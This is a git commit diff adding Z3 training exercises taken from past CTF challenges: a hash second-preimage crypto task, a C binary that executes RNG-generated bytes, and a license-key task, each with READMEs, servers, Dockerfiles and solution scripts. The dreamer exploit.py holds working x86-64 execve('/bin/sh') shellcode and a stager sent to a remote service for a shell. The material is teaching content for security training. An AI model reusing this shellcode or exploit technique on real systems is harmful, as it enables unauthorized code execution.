stuff
This commit is contained in:
BIN
hackthevote/pwn/comma-club/challenge.bndb
Normal file
BIN
hackthevote/pwn/comma-club/challenge.bndb
Normal file
Binary file not shown.
BIN
insomnihack24/.DS_Store
vendored
BIN
insomnihack24/.DS_Store
vendored
Binary file not shown.
BIN
insomnihack24/misc/.DS_Store
vendored
BIN
insomnihack24/misc/.DS_Store
vendored
Binary file not shown.
BIN
insomnihack24/misc/puzzled/.DS_Store
vendored
BIN
insomnihack24/misc/puzzled/.DS_Store
vendored
Binary file not shown.
BIN
insomnihack24/mobile/.DS_Store
vendored
BIN
insomnihack24/mobile/.DS_Store
vendored
Binary file not shown.
@@ -18,4 +18,3 @@ res = s.post(
|
|||||||
|
|
||||||
|
|
||||||
print(res.text)
|
print(res.text)
|
||||||
|
|
||||||
|
|||||||
BIN
training/IntroZ3/introz3.pdf
Normal file
BIN
training/IntroZ3/introz3.pdf
Normal file
Binary file not shown.
18
training/IntroZ3/tasks/chall1_rot128/README.md
Normal file
18
training/IntroZ3/tasks/chall1_rot128/README.md
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
This crypto challenge was part of the HTB University CTF we played in 2024
|
||||||
|
|
||||||
|
The problem is basically the following (all values are 128 bitvectors):
|
||||||
|
given h1 and h2, find r1,r2,r3,r4,s1,s2, such that:
|
||||||
|
ROL(s1, r1) ^ ROL(s2, r2) == h1
|
||||||
|
ROL(s1, r3) ^ ROL(s2, r4) == h2
|
||||||
|
|
||||||
|
z3 doesn't seem to be able to solve this directly in a fast manner (challenge expects solution in less than 2 seconds)
|
||||||
|
|
||||||
|
The crypto problem was then "reduced" to the following:
|
||||||
|
|
||||||
|
Given any value x with parity 0, find y and c, such that (y ^ (ROL(y,c))) == x
|
||||||
|
Whether this even has a (good) solution, would also not seem clear, but sometimes it's worth just asking z3...
|
||||||
|
|
||||||
|
Find a solution for this problem with z3 in `z3test.py`
|
||||||
|
|
||||||
|
If you want to get an actual flag, copy paste the `compute_yc` function in the exploit.py under "TODO" and run
|
||||||
|
`./exploit.py courses.sec.in.tum.de 13371`
|
||||||
149
training/IntroZ3/tasks/chall1_rot128/exploit.py
Normal file
149
training/IntroZ3/tasks/chall1_rot128/exploit.py
Normal file
@@ -0,0 +1,149 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
import pwn
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import binascii
|
||||||
|
import random
|
||||||
|
|
||||||
|
N = 128
|
||||||
|
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
|
||||||
|
_ROR_ = lambda x, i : ((x >> i) | (x << (N-i))) & (2**N - 1)
|
||||||
|
|
||||||
|
class HashRoll:
|
||||||
|
def __init__(self):
|
||||||
|
self.reset_state()
|
||||||
|
|
||||||
|
def hash_step(self, i):
|
||||||
|
r1, r2 = self.state[2*i], self.state[2*i+1]
|
||||||
|
r = _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2)
|
||||||
|
print(f'h{i} = {r}')
|
||||||
|
return r
|
||||||
|
|
||||||
|
def update_state(self, state=None):
|
||||||
|
if not state:
|
||||||
|
self.state = [0] * 6
|
||||||
|
self.state[:4] = [random.randint(0, N) for _ in range(4)]
|
||||||
|
self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)]
|
||||||
|
else:
|
||||||
|
self.state = state
|
||||||
|
|
||||||
|
def reset_state(self):
|
||||||
|
self.update_state()
|
||||||
|
|
||||||
|
def digest(self, buffer):
|
||||||
|
buffer = int.from_bytes(buffer, byteorder='big')
|
||||||
|
m1 = buffer >> N
|
||||||
|
m2 = buffer & (2**N - 1)
|
||||||
|
self.h = b''
|
||||||
|
for i in range(2):
|
||||||
|
self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big')
|
||||||
|
return self.h
|
||||||
|
|
||||||
|
|
||||||
|
def parity(x):
|
||||||
|
res = 0
|
||||||
|
while x:
|
||||||
|
res ^= x & 1
|
||||||
|
x >>= 1
|
||||||
|
return res
|
||||||
|
|
||||||
|
|
||||||
|
def compute_yc(x):
|
||||||
|
import z3
|
||||||
|
s = z3.Solver()
|
||||||
|
y = z3.BitVec("y", N)
|
||||||
|
c = z3.BitVec("c", N)
|
||||||
|
s.add((y ^ z3.RotateLeft(y,c)) == x)
|
||||||
|
s.check()
|
||||||
|
m = s.model()
|
||||||
|
|
||||||
|
return m[y].as_long(), m[c].as_long()
|
||||||
|
|
||||||
|
# h = m1 ^ h(0) + m2 ^h(1)
|
||||||
|
# h(x) = rol(s1, vx1) ^ rol(s2, vx2)
|
||||||
|
|
||||||
|
# given x, y is it possible to find:
|
||||||
|
# s1, s2, r1, r2, r3, r4,
|
||||||
|
# so that rol(s1, r1) ^ rol(s2, r2) = x
|
||||||
|
# and rol(s1, r3) ^ rol(s2, r4) = y
|
||||||
|
# r1 = 0, r2 = 0, r3 = 0
|
||||||
|
# x = s1 ^ s2
|
||||||
|
# rol(s1, r3) ^ rol(s2, r4) = y
|
||||||
|
|
||||||
|
# h0 = rol(s1, r1) ^ rol(s2, r2)
|
||||||
|
# s1 = (h0^y)
|
||||||
|
# r1, r2 = 0
|
||||||
|
# s2 = y
|
||||||
|
# r3 = 0, r4 = c
|
||||||
|
def solve_round(h1, h2):
|
||||||
|
"""
|
||||||
|
Return r1,r2,r3,r4,s1,s2 such that
|
||||||
|
_ROL_(s1, r1) ^ _ROL(s2, r2) == h1
|
||||||
|
_ROL_(s1, r3) ^ _ROL(s2, r4) == h2
|
||||||
|
"""
|
||||||
|
y,c = compute_yc(h1^h2)
|
||||||
|
|
||||||
|
s1 = h1^y
|
||||||
|
s2 = y
|
||||||
|
r1, r2, r3, r4 = 0, 0, 0, c
|
||||||
|
j = 1
|
||||||
|
|
||||||
|
|
||||||
|
# ensure non-zero vals
|
||||||
|
return [r1+j, r2+j, r3+j, (r4+j) % N, _ROR_(s1, j), _ROR_(s2, j)]
|
||||||
|
|
||||||
|
r = pwn.remote(sys.argv[1], int(sys.argv[2]))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
hashfunc = HashRoll()
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ROUNDS = 3
|
||||||
|
|
||||||
|
for i in range(ROUNDS):
|
||||||
|
r.recvuntil(b"/3!\n")
|
||||||
|
l = r.recvuntil(b"\n").decode()
|
||||||
|
print(l)
|
||||||
|
|
||||||
|
|
||||||
|
m = re.search(r'H\(([0-9a-f]+)\) = ([0-9a-f]+)', l)
|
||||||
|
|
||||||
|
|
||||||
|
message, h = map(lambda x: int(x, 16), m.groups())
|
||||||
|
|
||||||
|
m1 = message >> N
|
||||||
|
m2 = message & (2**N - 1)
|
||||||
|
|
||||||
|
th1 = h >> N
|
||||||
|
th2 = h & (2**N - 1)
|
||||||
|
|
||||||
|
print(f'H({hex(message)[2:]}) = {hex(h)[2:]}')
|
||||||
|
|
||||||
|
h0 = th1 ^ m1
|
||||||
|
h1 = th2 ^ m2
|
||||||
|
|
||||||
|
state = solve_round(h0, h1)
|
||||||
|
hashfunc.update_state(state)
|
||||||
|
print(hashfunc.digest(message.to_bytes(N, byteorder='big')))
|
||||||
|
print(h.to_bytes(2*N//8, byteorder='big'))
|
||||||
|
print(hashfunc.digest(message.to_bytes(N, byteorder='big')) == h.to_bytes(2*N//8, byteorder='big'))
|
||||||
|
print(state)
|
||||||
|
|
||||||
|
r.recvuntil(b' :: ')
|
||||||
|
|
||||||
|
r.sendline(b','.join(map(lambda x: str(x).encode(), state)))
|
||||||
|
|
||||||
|
print(r.recvline().decode())
|
||||||
|
print(r.recvline().decode())
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# we want hashstep(0) to be m3 ^ m1
|
||||||
|
# we want hashstep(1) to be m4 ^ m2
|
||||||
|
|
||||||
|
|
||||||
96
training/IntroZ3/tasks/chall1_rot128/server.py
Normal file
96
training/IntroZ3/tasks/chall1_rot128/server.py
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
import random, os, signal
|
||||||
|
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
|
||||||
|
from secret import FLAG
|
||||||
|
|
||||||
|
ROUNDS = 3
|
||||||
|
USED_STATES = []
|
||||||
|
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
|
||||||
|
N = 128
|
||||||
|
|
||||||
|
def handler(signum, frame):
|
||||||
|
print("\n\nToo slow, don't try to do sneaky things.")
|
||||||
|
exit()
|
||||||
|
|
||||||
|
def validate_state(state):
|
||||||
|
if not all(0 < s < 2**N-1 for s in user_state[-2:]) or not all(0 <= s < N for s in user_state[:4]):
|
||||||
|
print('Please, make sure your input satisfies the upper and lower bounds.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
if sorted(state[:4]) in USED_STATES:
|
||||||
|
print('You cannot reuse the same state')
|
||||||
|
return False
|
||||||
|
|
||||||
|
if sum(user_state[:4]) < 2:
|
||||||
|
print('We have to deal with some edge cases...')
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
class HashRoll:
|
||||||
|
def __init__(self):
|
||||||
|
self.reset_state()
|
||||||
|
|
||||||
|
def hash_step(self, i):
|
||||||
|
r1, r2 = self.state[2*i], self.state[2*i+1]
|
||||||
|
return _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2)
|
||||||
|
|
||||||
|
def update_state(self, state=None):
|
||||||
|
if not state:
|
||||||
|
self.state = [0] * 6
|
||||||
|
self.state[:4] = [random.randint(0, N) for _ in range(4)]
|
||||||
|
self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)]
|
||||||
|
else:
|
||||||
|
self.state = state
|
||||||
|
|
||||||
|
def reset_state(self):
|
||||||
|
self.update_state()
|
||||||
|
|
||||||
|
def digest(self, buffer):
|
||||||
|
buffer = int.from_bytes(buffer, byteorder='big')
|
||||||
|
m1 = buffer >> N
|
||||||
|
m2 = buffer & (2**N - 1)
|
||||||
|
self.h = b''
|
||||||
|
for i in range(2):
|
||||||
|
self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big')
|
||||||
|
return self.h
|
||||||
|
|
||||||
|
|
||||||
|
print('Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!')
|
||||||
|
|
||||||
|
hashfunc = HashRoll()
|
||||||
|
|
||||||
|
for _ in range(ROUNDS):
|
||||||
|
print(f'ROUND {_+1}/{ROUNDS}!')
|
||||||
|
|
||||||
|
server_msg = os.urandom(32)
|
||||||
|
hashfunc.reset_state()
|
||||||
|
server_hash = hashfunc.digest(server_msg)
|
||||||
|
print(f'You know H({server_msg.hex()}) = {server_hash.hex()}')
|
||||||
|
|
||||||
|
signal.signal(signal.SIGALRM, handler)
|
||||||
|
signal.alarm(2)
|
||||||
|
|
||||||
|
user_state = input('Send your hash function state (format: a,b,c,d,e,f) :: ').split(',')
|
||||||
|
|
||||||
|
try:
|
||||||
|
user_state = list(map(int, user_state))
|
||||||
|
|
||||||
|
if not validate_state(user_state):
|
||||||
|
print("The state is not valid! Try again.")
|
||||||
|
exit()
|
||||||
|
|
||||||
|
hashfunc.update_state(user_state)
|
||||||
|
|
||||||
|
if hashfunc.digest(server_msg) == server_hash:
|
||||||
|
print(f'Moving on to the next round!')
|
||||||
|
USED_STATES.append(sorted(user_state[:4]))
|
||||||
|
else:
|
||||||
|
print('Not today.')
|
||||||
|
exit()
|
||||||
|
except:
|
||||||
|
print("The hash function's state must be all integers.")
|
||||||
|
exit()
|
||||||
|
finally:
|
||||||
|
signal.alarm(0)
|
||||||
|
|
||||||
|
print(f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... {FLAG}')
|
||||||
39
training/IntroZ3/tasks/chall1_rot128/z3test.py
Normal file
39
training/IntroZ3/tasks/chall1_rot128/z3test.py
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
import random
|
||||||
|
import z3
|
||||||
|
|
||||||
|
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
|
||||||
|
|
||||||
|
|
||||||
|
N = 128
|
||||||
|
|
||||||
|
def parity(x):
|
||||||
|
res = 0
|
||||||
|
while x:
|
||||||
|
res ^= x & 1
|
||||||
|
x >>= 1
|
||||||
|
return res
|
||||||
|
|
||||||
|
|
||||||
|
while True:
|
||||||
|
x = random.randint(0, 2**128)
|
||||||
|
if parity(x) == 0:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Compute y and c, such that y ^ _ROL_(y,c) == x
|
||||||
|
# Hint: to implement _ROL_, z3 already has the function z3.RotateLeft
|
||||||
|
def compute_yc(x):
|
||||||
|
s = z3.Solver()
|
||||||
|
y = z3.BitVec("y", N)
|
||||||
|
c = z3.BitVec("c", N)
|
||||||
|
s.add((y ^ z3.RotateLeft(y,c)) == x)
|
||||||
|
s.check()
|
||||||
|
m = s.model()
|
||||||
|
|
||||||
|
return m[y].as_long(), m[c].as_long()
|
||||||
|
|
||||||
|
|
||||||
|
y, c = compute_yc(x)
|
||||||
|
|
||||||
|
print(f'{y=}, {c=}')
|
||||||
|
print(f'{x=}, {y ^ _ROL_(y, c)=}')
|
||||||
|
print(f'{x==y ^ _ROL_(y, c)=}')
|
||||||
15
training/IntroZ3/tasks/chall2_dreamer/Dockerfile
Normal file
15
training/IntroZ3/tasks/chall2_dreamer/Dockerfile
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
# docker build -t dreamer . && docker run --rm -p 1337:1337 --name dreamer -dit dreamer
|
||||||
|
FROM archlinux:latest
|
||||||
|
|
||||||
|
RUN pacman -Sy --noconfirm socat gcc
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY dream /app/
|
||||||
|
RUN chmod +x /app/dream
|
||||||
|
ARG FLAG=GPNCTF{fake_flag}
|
||||||
|
RUN echo "$FLAG" > flag.txt
|
||||||
|
|
||||||
|
EXPOSE 1337
|
||||||
|
|
||||||
|
ENTRYPOINT [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./dream,stderr" ]
|
||||||
14
training/IntroZ3/tasks/chall2_dreamer/README.md
Normal file
14
training/IntroZ3/tasks/chall2_dreamer/README.md
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
This pwn/misc challenge was part of GPN CTF 2024
|
||||||
|
|
||||||
|
The challenge:
|
||||||
|
- We can execute 4 bytes of arbitrary shellcode followed by 100 bytes of shellcode generated by a weird RNG, which we can seed
|
||||||
|
- We already figured out a short sequence (9 bytes) of shellcode that we want to execute.
|
||||||
|
This means we need to find a seed which will generate 5 specific bytes.
|
||||||
|
|
||||||
|
The RNG is already re-implemented in python for you in `test.py` and `exploit.py`.
|
||||||
|
Implement the function `get_seed_for_sequence` to finish the exploit. `test.py` allows you to verify your implementation is correct.
|
||||||
|
|
||||||
|
The RNG function `custom_random` takes a current state variable (initially the seed) and will return a tuple of (next byte, next state)
|
||||||
|
|
||||||
|
To get the flag from the finished exploit, run: `./exploit.py courses.sec.in.tum.de 13372`
|
||||||
|
Note, the shellcode and exploit succeeds only with a probability of 50%, you may need to run it multiple times.
|
||||||
BIN
training/IntroZ3/tasks/chall2_dreamer/dream
Normal file
BIN
training/IntroZ3/tasks/chall2_dreamer/dream
Normal file
Binary file not shown.
59
training/IntroZ3/tasks/chall2_dreamer/dream.c
Normal file
59
training/IntroZ3/tasks/chall2_dreamer/dream.c
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <string.h>
|
||||||
|
#define ROTL(X, N) (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N))))
|
||||||
|
#define ROTR(X, N) (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N))))
|
||||||
|
unsigned long STATE;
|
||||||
|
unsigned long CURRENT;
|
||||||
|
|
||||||
|
char custom_random(){
|
||||||
|
STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5);
|
||||||
|
return STATE % 256;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* experience(long origin){
|
||||||
|
char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||||
|
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||||
|
size_t k = 0;
|
||||||
|
while(k<106){
|
||||||
|
*(ccol+k) = 0x90; //nop just in case;
|
||||||
|
k++;
|
||||||
|
}
|
||||||
|
k=16;
|
||||||
|
*((int*)ccol) = origin;
|
||||||
|
while(k<100){
|
||||||
|
*(ccol+k)=custom_random();
|
||||||
|
k++;
|
||||||
|
}
|
||||||
|
return ccol;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void sleepy(void * dream){
|
||||||
|
int (*d)(void) = (void*)dream;
|
||||||
|
d();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void win(){
|
||||||
|
execv("/bin/sh",NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
void setup(){
|
||||||
|
setvbuf(stdin, NULL, _IONBF, 0);
|
||||||
|
setvbuf(stdout, NULL, _IONBF, 0);
|
||||||
|
setvbuf(stderr, NULL, _IONBF, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
setup();
|
||||||
|
long seed=0;
|
||||||
|
printf("the win is yours at %p\n", win);
|
||||||
|
scanf("%ld",&seed);
|
||||||
|
STATE = seed;
|
||||||
|
printf("what are you thinking about?");
|
||||||
|
scanf("%ld",&seed);
|
||||||
|
sleepy(experience(seed));
|
||||||
|
}
|
||||||
99
training/IntroZ3/tasks/chall2_dreamer/exploit.py
Normal file
99
training/IntroZ3/tasks/chall2_dreamer/exploit.py
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
|
||||||
|
import time
|
||||||
|
import pwn
|
||||||
|
import z3
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
def ROL(X, N):
|
||||||
|
return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))
|
||||||
|
|
||||||
|
def ROR(X, N):
|
||||||
|
return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))
|
||||||
|
|
||||||
|
def custom_random(state):
|
||||||
|
NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5);
|
||||||
|
return NEW_STATE % 256, NEW_STATE;
|
||||||
|
|
||||||
|
|
||||||
|
pwn.context.arch = 'x86_64'
|
||||||
|
|
||||||
|
|
||||||
|
shc = pwn.asm("""
|
||||||
|
cdq;
|
||||||
|
push rdi;
|
||||||
|
xor edi, edi;
|
||||||
|
pop rsi;
|
||||||
|
xor eax, eax;
|
||||||
|
syscall
|
||||||
|
""")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def get_seed_for_sequence(bytesequence):
|
||||||
|
s = z3.Solver()
|
||||||
|
base_state = z3.BitVec("base_state", 64)
|
||||||
|
cur_state = base_state
|
||||||
|
for byte in bytesequence:
|
||||||
|
gen_byte, cur_state = custom_random(cur_state)
|
||||||
|
s.add(gen_byte == byte)
|
||||||
|
|
||||||
|
if s.check() != z3.sat:
|
||||||
|
raise RuntimeError()
|
||||||
|
|
||||||
|
m = s.model()
|
||||||
|
return m[base_state].as_long()
|
||||||
|
|
||||||
|
def get_values():
|
||||||
|
|
||||||
|
print(len(shc))
|
||||||
|
|
||||||
|
first_val = pwn.u32(shc[:4])
|
||||||
|
print(first_val)
|
||||||
|
|
||||||
|
second_val = get_seed_for_sequence(shc[4:])
|
||||||
|
print(second_val)
|
||||||
|
print(str(second_val).encode())
|
||||||
|
return first_val, second_val
|
||||||
|
|
||||||
|
first_val, second_val = get_values()
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
cs = second_val
|
||||||
|
|
||||||
|
for v in shc[4:]:
|
||||||
|
b, cs = custom_random(cs)
|
||||||
|
print(b, v)
|
||||||
|
assert b == v
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) > 2:
|
||||||
|
r = pwn.remote(sys.argv[1], int(sys.argv[2]))
|
||||||
|
else:
|
||||||
|
r = pwn.remote("localhost", 1337)
|
||||||
|
|
||||||
|
|
||||||
|
r.recvuntil(b"at ")
|
||||||
|
|
||||||
|
win = int(r.recvline().strip().decode(), 16)
|
||||||
|
|
||||||
|
r.sendline(str(second_val).encode())
|
||||||
|
r.recvuntil(b"?")
|
||||||
|
|
||||||
|
r.sendline(str(first_val).encode())
|
||||||
|
|
||||||
|
|
||||||
|
_shc = bytearray([
|
||||||
|
0x48, 0x31, 0xd2, 0x48, 0xbb, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb,
|
||||||
|
0x08, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f,
|
||||||
|
0x05, 0x6a, 0x01, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05
|
||||||
|
])
|
||||||
|
|
||||||
|
time.sleep(.3)
|
||||||
|
|
||||||
|
r.send(b'\x90' * (0x10 + len(shc)-4) + _shc)
|
||||||
|
|
||||||
|
r.interactive()
|
||||||
|
|
||||||
51
training/IntroZ3/tasks/chall2_dreamer/test.py
Normal file
51
training/IntroZ3/tasks/chall2_dreamer/test.py
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
|
||||||
|
import random
|
||||||
|
import z3
|
||||||
|
|
||||||
|
|
||||||
|
def ROL(X, N):
|
||||||
|
if isinstance(X, z3.BitVecRef):
|
||||||
|
return z3.RotateLeft(X,N)
|
||||||
|
else:
|
||||||
|
return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))
|
||||||
|
|
||||||
|
|
||||||
|
def ROR(X, N):
|
||||||
|
if isinstance(X, z3.BitVecRef):
|
||||||
|
return z3.RotateRight(X,N)
|
||||||
|
else:
|
||||||
|
return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))
|
||||||
|
|
||||||
|
def custom_random(state):
|
||||||
|
NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5)
|
||||||
|
return NEW_STATE % 256, NEW_STATE
|
||||||
|
|
||||||
|
def get_seed_for_sequence(bytesequence):
|
||||||
|
s = z3.Solver()
|
||||||
|
base_state = z3.BitVec("base_state", 64)
|
||||||
|
cur_state = base_state
|
||||||
|
for byte in bytesequence:
|
||||||
|
gen_byte, cur_state = custom_random(cur_state)
|
||||||
|
s.add(gen_byte == byte)
|
||||||
|
|
||||||
|
if s.check() != z3.sat:
|
||||||
|
raise RuntimeError()
|
||||||
|
|
||||||
|
m = s.model()
|
||||||
|
return m[base_state].as_long()
|
||||||
|
|
||||||
|
|
||||||
|
def gen_sequence(seed, length):
|
||||||
|
r = []
|
||||||
|
cs = seed
|
||||||
|
for _ in range(length):
|
||||||
|
v, cs = custom_random(cs)
|
||||||
|
r.append(v)
|
||||||
|
return bytes(r)
|
||||||
|
|
||||||
|
|
||||||
|
test = random.getrandbits(32).to_bytes(4)
|
||||||
|
seed = get_seed_for_sequence(test)
|
||||||
|
print(seed)
|
||||||
|
print(test)
|
||||||
|
assert test == gen_sequence(seed, 4)
|
||||||
11
training/IntroZ3/tasks/chall3_archventure/Dockerfile
Normal file
11
training/IntroZ3/tasks/chall3_archventure/Dockerfile
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
# docker build -t archventure-time . && docker run -it archventure-time
|
||||||
|
FROM ubuntu:24.04
|
||||||
|
|
||||||
|
RUN apt update
|
||||||
|
RUN apt install -y qemu-user libc6-arm64-cross libc6-riscv64-cross libc6-ppc64-cross
|
||||||
|
|
||||||
|
COPY ./archventure /app/chal
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
CMD ["./chal"]
|
||||||
18
training/IntroZ3/tasks/chall3_archventure/README.md
Normal file
18
training/IntroZ3/tasks/chall3_archventure/README.md
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
This challenge was part of GPN2024 CTF
|
||||||
|
|
||||||
|
The binary doesn't need to be analyzed and is there only for reference and to retrieve the flag with the correct license code.
|
||||||
|
Template code is provided, the reversing part of the individual constraints was already done/is given.
|
||||||
|
|
||||||
|
The license key has the form XXXXX-XXXXX-XXXXX-XXXXX
|
||||||
|
The template code will mostly ignore the '-' (since the binary does it mostly as well) and `license[5]` will refer to the 6th X
|
||||||
|
|
||||||
|
For context:
|
||||||
|
- The binary will perform some general constraint checks on the license
|
||||||
|
- The binary will extract 4 binaries of different architectures that each contain different parts of a constraint set and are then executed
|
||||||
|
- The constraints are described in the template and the relevant arrays extracted already
|
||||||
|
|
||||||
|
|
||||||
|
To validate your license key, run the binary (it requires qemu and some dependencies, so using the Dockerfile might be easiest):
|
||||||
|
|
||||||
|
Build: `docker build -t archventure .`
|
||||||
|
Run: `docker run --rm -it archventure`
|
||||||
BIN
training/IntroZ3/tasks/chall3_archventure/archventure
Normal file
BIN
training/IntroZ3/tasks/chall3_archventure/archventure
Normal file
Binary file not shown.
83
training/IntroZ3/tasks/chall3_archventure/template.py
Normal file
83
training/IntroZ3/tasks/chall3_archventure/template.py
Normal file
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user